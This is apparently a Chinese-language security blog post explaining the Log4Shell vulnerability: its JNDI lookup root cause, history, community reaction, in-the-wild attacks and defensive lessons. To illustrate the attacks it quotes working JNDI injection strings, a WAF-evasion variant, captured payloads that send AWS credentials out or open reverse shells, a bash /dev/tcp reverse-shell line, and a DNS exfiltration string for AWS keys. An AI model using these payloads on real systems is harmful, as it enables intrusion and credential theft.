gtxyzz

Ghost in the Log4Shell

gtxyzz 安全防护 2023-01-02 325浏览 0

Ghost in the Log4Shell

多年以后,面对加班的夜晚,Volkan Yazıcı 一定会回忆起发生在 2021 年底的这件事情,除了没日没夜的工作和无休止的解释以外,当然也少不了人们的愤怒和对他的谩骂。一不小心就见证历史的,除了 log4j 的作者们,还有我们所有人。

Ghost in the Log4Shell

起初,大家都度过了一个黑客狂欢,吃瓜群众玩梗,开发们加班的周末,以为这可能是又一次“心脏出血”或者“永恒之蓝”。随着事情愈演愈烈,影响愈来愈大,现在大家都应该认识到,这个漏洞比心脏出血要严重得多。比如 CISA 的官员称其为从业以来最严重的漏洞(之一),log4j 的修复也导致短短两周内升了三个大版本(目前只有最新的 2.17.0 被认为是没有问题的)。所以朋友们,不要怀疑,这绝对是一个有生之年系列。

核弹级漏洞 Log4Shell

漏洞本体 log4j 2.x,编号 CVE-2021-44228,满分10分,花名 Log4Shell。

Log4Shell 之所以被称之为一个核弹级漏洞,是因为它具有以下这些特征:

  • 广泛性:大(海)量 Java 应用都依赖于 log4j 2,log4j 是事实上的日志标准。而 Java 本身的跨平台特性,使得所有主流操作系统包括各种运行 Java 的嵌入式设备都受到影响。
  • 严重性:从花名 Log4Shell 就可以看出来,它是一个 RCE 漏洞,也就是远程代码执行漏洞。这是所有漏洞中级别最高的一种。
  • 易利用性:该漏洞默认开启,攻击面广,攻击渠道多,攻击效果稳定,攻击条件易满足,简单来讲,对攻击者非常友好。堪称脚本小子的入门级漏洞。
  • 长期性:因为 Log4Shell 具有明显的供应链攻击特点,并且对于数量庞大的企业资产来说,确定影响范围非常非常非常困难。保守估计,log4j 的负面影响至少需要半年时间来缓解。

众说纷纭

距离漏洞爆出来已经过了三周,关于漏洞的讨论已然铺天盖地,审美疲劳。这其中,有安全厂商第一时间出来提供缓解措施和修复建议,有云计算和安全厂商趁热打铁推销他们的 WAF 或者其它安全产品;有很多的安全工作者在社交媒体上分享博客和文章,分析漏洞原理,科普安全知识;有开发人员质疑 log4j 的作者设计不当,莫名其妙,难辞其咎,也有开发人员对此表示理解,认为如今开源难做,重要而基础的组件全是免费维护,而一毛不拔的大厂才是罪恶根源。

作为一个冷眼旁观的安全工作者,笔者并不急于站队,注意力则放在搜集和整理关于 Log4Shell 的各种或有趣,或有价值的事实和知识上。对于开发人员来说,第一要务是尽快修复自己的产品和代码,但是忙碌之余,是不是也好奇除了这些无聊的升级和修复以外,关于 Log4Shell,还有哪些你需要知道的事情呢。

漏洞细节

以下代码对于 log4j (< 2.15.0),默认会触发这个漏洞:

publicclassApp{
privatestaticfinalLoggerlogger=LogManager.getLogger(App.class);
publicstaticvoidmain(String[]args){
logger.error("${jndi:ldap://attacker.com/x}");
}
}

我们执果索因,先来直击漏洞触发时的调用栈:

JndiLookup.lookup(LogEvent,String)(JndiLookup.class:51)
Interpolator.lookup(LogEvent,String)(Interpolator.class:223)
StrSubstitutor.resolveVariable(LogEvent,String,StringBuilder,int,int)(StrSubstitutor.class:1116)
StrSubstitutor.substitute(LogEvent,StringBuilder,int,int,List)(StrSubstitutor.class:1038)
StrSubstitutor.substitute(LogEvent,StringBuilder,int,int)(StrSubstitutor.class:912)
StrSubstitutor.replace(LogEvent,String)(StrSubstitutor.class:467)
MessagePatternConverter.format(LogEvent,StringBuilder)(MessagePatternConverter.class:132)
PatternFormatter.format(LogEvent,StringBuilder)(PatternFormatter.class:38)
PatternLayout$PatternSerializer.toSerializable(LogEvent,StringBuilder)(PatternLayout.class:345)
PatternLayout.toText(AbstractStringLayout$Serializer2,LogEvent,StringBuilder)(PatternLayout.class:244)
PatternLayout.encode(LogEvent,ByteBufferDestination)(PatternLayout.class:229)
PatternLayout.encode(Object,ByteBufferDestination)(PatternLayout.class:59)
AbstractOutputStreamAppender.directEncodeEvent(LogEvent)(AbstractOutputStreamAppender.class:197)
AbstractOutputStreamAppender.tryAppend(LogEvent)(AbstractOutputStreamAppender.class:190)
AbstractOutputStreamAppender.append(LogEvent)(AbstractOutputStreamAppender.class:181)
AppenderControl.tryCallAppender(LogEvent)(AppenderControl.class:156)
AppenderControl.callAppender0(LogEvent)(AppenderControl.class:129)
AppenderControl.callAppenderPreventRecursion(LogEvent)(AppenderControl.class:120)
AppenderControl.callAppender(LogEvent)(AppenderControl.class:84)
LoggerConfig.callAppenders(LogEvent)(LoggerConfig.class:543)
LoggerConfig.processLogEvent(LogEvent,LoggerConfig$LoggerConfigPredicate)(LoggerConfig.class:502)
LoggerConfig.log(LogEvent,LoggerConfig$LoggerConfigPredicate)(LoggerConfig.class:485)
LoggerConfig.log(String,String,StackTraceElement,Marker,Level,Message,Throwable)(LoggerConfig.class:460)
AwaitCompletionReliabilityStrategy.log(Supplier,String,String,StackTraceElement,Marker,Level,Message,Throwable)(AwaitCompletionReliabilityStrategy.class:82)
Logger.log(Level,Marker,String,StackTraceElement,Message,Throwable)(Logger.class:161)
AbstractLogger.tryLogMessage(String,StackTraceElement,Level,Marker,Message,Throwable)(AbstractLogger.class:2198)
AbstractLogger.logMessageTrackRecursion(String,Level,Marker,Message,Throwable)(AbstractLogger.class:2152)
AbstractLogger.logMessageSafely(String,Level,Marker,Message,Throwable)(AbstractLogger.class:2135)
AbstractLogger.logMessage(String,Level,Marker,String,Throwable)(AbstractLogger.class:2011)
AbstractLogger.logIfEnabled(String,Level,Marker,String,Throwable)(AbstractLogger.class:1983)
AbstractLogger.info(String)(AbstractLogger.class:1320)
App.main(String[])(App.java:19)

代码执行到 jndiLookup.lookup 的时候触发了这个漏洞。请注意以下几个概念:

  • PatternLayout: 又叫模式布局,也就是形如 %d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} – %msg%n 的模式,我们常常会在配置文件中用它定义日志格式。这其中 %msg 就是指代我们传给 log.error 方法的内容。
  • Interpolator:Interpolator(插值器)是一种属性占位符,而插值器会包含许多 StrLookup 对象,这些对象会在运行时通过调用 lookup 方法被替换成最终的值,比如 JNDI lookup。此外还有诸如 date, java, marker, ctx, lower, upper, main, jvmrunargs, sys, env, log4j这些 Lookup。所以你可以使用 ${jndi:key} 或者 ${env:key} 来替换 jndi 或者环境变量的内容,而且还支持嵌套。请参考 log4j 的文档了解更多细节。

漏洞触发的原因是因为 %msg 对应的 MessagePatternConvert 会使用 interpolator 来替换占位符,而 interpolator 默认包含 JNDI 的 lookup。这些可以很容易从上面的调用栈分析出来。一个有趣的事实就是不管有没有这个漏洞,log4j 都比一个 system.out.println 要复杂和灵活更多 – 没有了 JNDI,log4j 仍然支持大量的占位符替换,可以轻松访问一些环境变量,一些上下文的状态。从这个角度看,Log4Shell 终于把日志注入攻击达到了大众的视野中。

那为什么会有 JNDI 这个功能?

笔者猜想 90% 的开发人员了解以上这个漏洞细节后,心里肯定会骂一句脏话。原来 log4j 这浓眉大眼的这么狡猾啊,一直以为你是移动电话,没想到还可以神不知鬼不觉地刮胡子啊。这恰恰是因为这个漏洞理解起来太容易,利用起来更容易,毕竟它是一个真正把 feature 做成了漏洞的范例。所以大家不禁要想这样的功能是如何诞生的?请看这个 Jira issue,JNDI Lookup plugin support。

2013年7月,该功能(漏洞)首次被引入 log4j2。理由是:

“Currently, Lookup plugins [1] don’t support JNDI resources.

It would be really convenient to support JNDI resource lookup in the configuration.

One use case with JNDI lookup plugin is as follows:

I’d like to use RoutingAppender [2] to put all the logs ?from the same web application context in a log file (a log file per web application context).

And, I want to use JNDI resources look up to determine the target route (similarly to JNDI context selector of logback [3]).

Determining the target route by JNDI lookup can be advantageous because we don’t have to add any code to set properties for the thread context and JNDI lookup should always work even in a separate thread without copying thread context variables.”

主要是两点,一个是方便(JNDI确实方便啊),一个为了和 logback 兼容。而且提需求的人很爽快地附带了一个实现补丁。安全最大的敌人,方便和兼容都出现了。虽然最开始的场景是在配置文件里使用 JNDI,但是强大如 log4j 没理由不能在每一条消息里面使用它。

JNDI 可谓是 Log4Shell 的灵魂,但是反过来却不是。针对 JNDI 的攻击存在了多年,它本身就是 Java 的重要攻击向量。想要学习更多 JNDI 攻击原理的同学可以参考 Blackhat 2016 的经典 talk — A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land

并且结合 log4j 提供的各种 lookup 和 converter,针对 JNDI 的攻击也诞生了各种变形(为了绕过 WAF 和检测),比如 ${${lower:jnd${lower:i}}:xxx}。说到底,log4j 真的是太灵活了。

Java 日志库的前世今生

2001 年,软件开发者 Ceki Gulcu 设计了 log4j(v1)。后来 sun 也在 JDK 引入了一个叫做 Java Util Logging 的日志框架。不过始终都没有 log4j1 那么强大和流行。因为日志库变多了,于是 Apache 趁机推出了所谓的 Logging Facade – JCL(Jakarta Common Logging),可以动态绑定使用的日志库。

2006 年,Ceki 离开 Apache 之后又开发了新的 Logging Facade,也就是我们现在熟知的 Slf4j(Simple Logging Facade for Java)以及各种桥接包(包括桥接 log4j )。再之后,Ceki 又开发了 Logback 作为 Slf4j 的默认实现。至此 Slf4j + Logback 就变成一个新的强大而灵活的组合。

到了 2012 年,Apache 决定开发一个新的 logging framwork 来和 Slf4j + logback 竞争,这就是我们的主角 log4j2,以 log4j-api + log4j2-core 的形式,而且也不兼容 log4j v1。

所以现在 Java logging framework 就分为两大阵营了。

Ghost in the Log4Shell

社区反应

Log4Shell 的影响太大,也波及了其它日志库。所以有人为 Logback 提交了一个 commit,强调 logback 和 log4j2 没有任何关系,不共享代码所以也不共享漏洞

https://github.com/qos-ch/logback/commit/b810c115e363081afc70f8bf4ee535318c3a34e1

Ghost in the Log4Shell

而 Spring 则专门发文强调,Spring Starter 默认 logging 组件是 logback,不是 log4j2,所以没有这个漏洞

https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot

最后的最后,终于有人决定重新开始维护 log4j1 了

https://github.com/apache/logging-log4j1/commits/trunk

那我在用 log4j 1.x 我需要担心 Log4Shell 吗?

不需要。虽然 log4j 1.x 常年失修,疏于维护,但是不幸或者幸运的是,log4j1 并不会受到 Log4Shell 的影响。

非常非常的尴尬,一个自从 2012 年起就没有维护的组件,一个包含有多个 CVE 常年居于各种扫描结果的榜首,但是却因为一直找不到充分的攻击证据,苟活在在各大企业的代码库中,这其中包括 Altassian 的全线产品。尽管 log4j1 的代码行比较少,功能也很简单,但是无论如何,经此一役,大家还是要认识到一个常年缺乏维护的基础组件是多么的危险。

Android 设备会受到 Log4Shell 的影响吗?

大概率不会。众所周知,Android 也是运行在 Google 开发的 Java 虚拟机上,但是:

  • log4j 家族都不支持 Android,因为没人移植
  • Android 自己已经自带 logging 框架和相关基础设施了

所以 Android OS 不会受到 Log4Shell 的影响,而 Android App,除非你自己移植了整个 log4j2 到 Android,否则答案也是 No。

Log4Shell 到底如何用来进行攻击的?

早在 12 月 16 日,一些安全实验室就已经捕捉到了一些野生 payload 用于真实的攻击,比如:

GET/$%7Bjndi:ldap://<redacted>/Basic/Command/Base64/Y3VybCAtZCAiJChjYXQgfi8uYXdzL2NyZWRlbnRpYWxzKSIgaHR0cHM6Ly9jNnRkNW1lMnZ0Y<redacted>%7DHTTP/1.1
Host:<redacted>
User-Agent:${jndi:ldap://<redacted>/Basic/Command/Base64/Y3VybCAtZCAiJChjYXQgfi8uYXdz
GET/HTTP/1.0
User-Agent:borchuk/3.1${jndi:ldap://<redacted>:1389/Basic/ReverseShell/<redacted_ip>/9999}
Accept:*/*
Bearer:${jndi:ldap://<redacted>:1389/Basic/ReverseShell/<redacted_ip>/9999}

这些 payload 都是用一个叫 JNDIExploit 的工具库生成的,中文的,大家自便。而该工具是 1 年前创建的。这说明要利用 Log4Shell,经典的 JNDI + LDAP 攻击就足够了。

Ghost in the Log4Shell

这一套 exploit 工具集支持多种攻击,比如各种基于 tomcat,spring 和 weblogic 的 webshell 和反向 shell。比如这段代码

https://github.com/zzwlpx/JNDIExploit/blob/master/src/main/java/com/feihong/ldap/template/ReverseShellTemplate.java#L103 :

mv.visitLdcInsn("/bin/bash-i>&/dev/tcp/"+ip+"/"+port+"0>&1");

就是一个经典的只依赖于 bash 来实现反弹 shell 的例子。

此外,一家叫做 Bitdefender 的安全公司利用蜜罐,发现了大量僵尸网络(botnet)和蠕虫病毒利用 Log4Shell 的证据。其中,叫做 Muhstik 的 botnet 是最早的一批。这些僵尸网络的目的主要是感染机器并在机器上部署挖矿程序。

另外,一个叫 Curated Intel 的组织维护了一个 github 仓库,专门用来记录和汇总针对 Log4Shell 攻击证据和分析。

除了 RCE 我们还需要担心什么?

对于现在复杂的企业网络来说,要真正实施一次 RCE 攻击可能并不是那么容易。但是这次 Log4Shell 真正带来的巨大影响的,就是所谓的 DNS out-of-band attack(带外攻击)。我们已经注意到,在 JNDI + LDAP 的注入字符串中,一般都会使用域名来指定服务器。于是,这里就存在一个经典的注入带外攻击场景 – 如果你对 DNS 协议熟悉的话 – 当一个不存在的域名第一次被解析时,它一定会被中间的 DNS 服务器反复往上游传递,直到它到达所谓的权威服务器,也就是域名的所有者。

我们以 "${jndi:ldap://${env:AWS_ACCESS_KEY_ID}.somedomain.com/x}" 为例。当漏洞被触发时,被攻击的对象会尝试去连接 LDAP 服务器。根据之前提到的 env Lookup,${env:AWS_ACCESS_KEY_ID} 会被替换成相应的环境变量(如果存在的话),然后一个形如 "xxxxxxxx.somedomain.com" 的 DNS 请求就会被发出去。因为一般来说,"xxxxxxxx.somedomain.com" 是不存在的,但是 somedomain.com 却是存在并且被攻击者控制。所以最后,关于 "xxxxxxxx.somedomain.com" 的一切最后,都会去到攻击者的服务器去查询。于是 AWS_ACCESS_KEY_ID 就被泄露了。

环境变量可以挖掘的信息实在太丰富,同时考虑到其它 log4j2 自带的 Lookup,即便泄露不了太多敏感信息,也提供了大量信息搜集的机会 – 而这往往是真正攻击前最重要的步骤。

而对于企业来说,部署 WAF 或者防火墙来防御 RCE 攻击是可行的,但是对于 DNS 带外攻击,实施审计和阻断却非常不现实。你可以想象一下,当你需要访问一个新的第三方服务时,不仅需要网络保证畅通,还需要安全部门放行你的 DNS 请求。而企业 DNS 服务往往是一个中心化的服务,这样实施的成本实在太高。

假设防火墙或者 WAF 没有防御住 Log4Shell 攻击,企业应该采取什么样的策略进行补救?

假如通过日志和 WAF 记录都没有找到有效的信息来排查或者防御 Log4Shell 的攻击,或许纵深防御的思路可以帮到一些忙。通过部署 EDR 系统,终端审计系统或者某种沙箱系统,我们可以很方便地监控和阻止一些特殊命令的执行和一些典型的恶意行为。比如,如果一个 Java 进程 fork 了叫做 curl 和 cmd.exe 的子进程,那么这无论如何都是可疑的。这种思路不仅可以应对 Log4Shell,也可以对付未来出现的各种 RCE 型漏洞。当然,要发挥这种策略的效果,一个能快速响应的安全流程和策略分发机制必不可少,同时一个完备的资产管理和威胁管理系统也必须建立起来。

后 Log4Shell 时代,我们应该如何应对

核弹级漏洞 Log4Shell(CVE-2021-44228)的影响必将是深远的,不仅仅是当下肉眼可见的攻击事件和损失数据,在相当长时间的将来我们都会被这次的阴影所笼罩 – 蠕虫病毒和勒索软件的肆虐,个人敏感数据的大量泄漏。但是真正笼罩在大家心头的还是因为它给了我们软件工业重重一击 – 为什么如此明显的漏洞存在于如此基础的组件之中长达 7-8 年之久?说好的开源软件更安全呢?我们的软件工业到底怎么啦?

当我们说安全难做的时候,往往不是说安全漏洞隐藏的多深,也不是说安全专家的稀缺。身处软件工业的我们,听说过太多传说中的攻防故事,但大抵是愿意相信能力越大责任越大的 – 如果一个漏洞难以发掘和利用,那么它的攻击成本是很高的,不管是从攻击面还是从攻击技术看;如果一个漏洞攻击简单,利用方便,那么防御的难度也会降低。当我们说安全难做的时候,其实还是在说的是人的因素,是安全中最难控制的一环。当 log4j2 作为 Java 应用中事实上的标准,被用在海量应用中,其中包括了几乎所有互联网巨头,但是只有两位开发人员免费维护时,这房间中的大象就已经存在了。我想说这不是开源软件出了问题,而是我们对开源软件的理解有问题。没有人维护的软件,即使是开源的,也不应该被认为是安全的!

因此,Log4Shell 漏洞作为一个分水岭,那么给后 Log4Shell 时代的我们的启示有哪些呢?

  • 坚定不移的安全左移:想要通过使用和购买单独的安全产品一次性解决问题的时代已经过去了,新时代的安全防御一定是个系统性方案,包括了架构,设计,开发,测试和运维。关键词:SDLC,安全內建,DevSecOps
  • 系统监控和应急响应:Cloud Native 时代,大家逐渐认识到需要上云的不仅仅是业务和应用,整个系统的监控也是必不可少的。但是安全领域的监控现在还是相对落后,不仅体现在工具上也体现在意识上。迅速建立一个系统化的资产管理和监控系统是当务之急。关键词:SIEM,态势感知,依赖管理和可视化
  • 敏捷威胁建模:Log4Shell 的其中一个教训是,不要相信任何用户输入,包括日志。过去我们做威胁建模,不管是 STRIDE 还是攻击树,往往只会把日志当成是敏感数据泄露的源头,而不是攻击的输入。当我们反思为什么会漏掉这一环时,则恰恰说明了敏捷威胁建模的重要性。威胁建模不是一锤子买卖,它需要融入整个迭代中,这恰恰又印证了安全左移的理念。关键词:敏捷威胁建模,资产分析,数据流可视化

继续浏览有关 安全 的文章
发表评论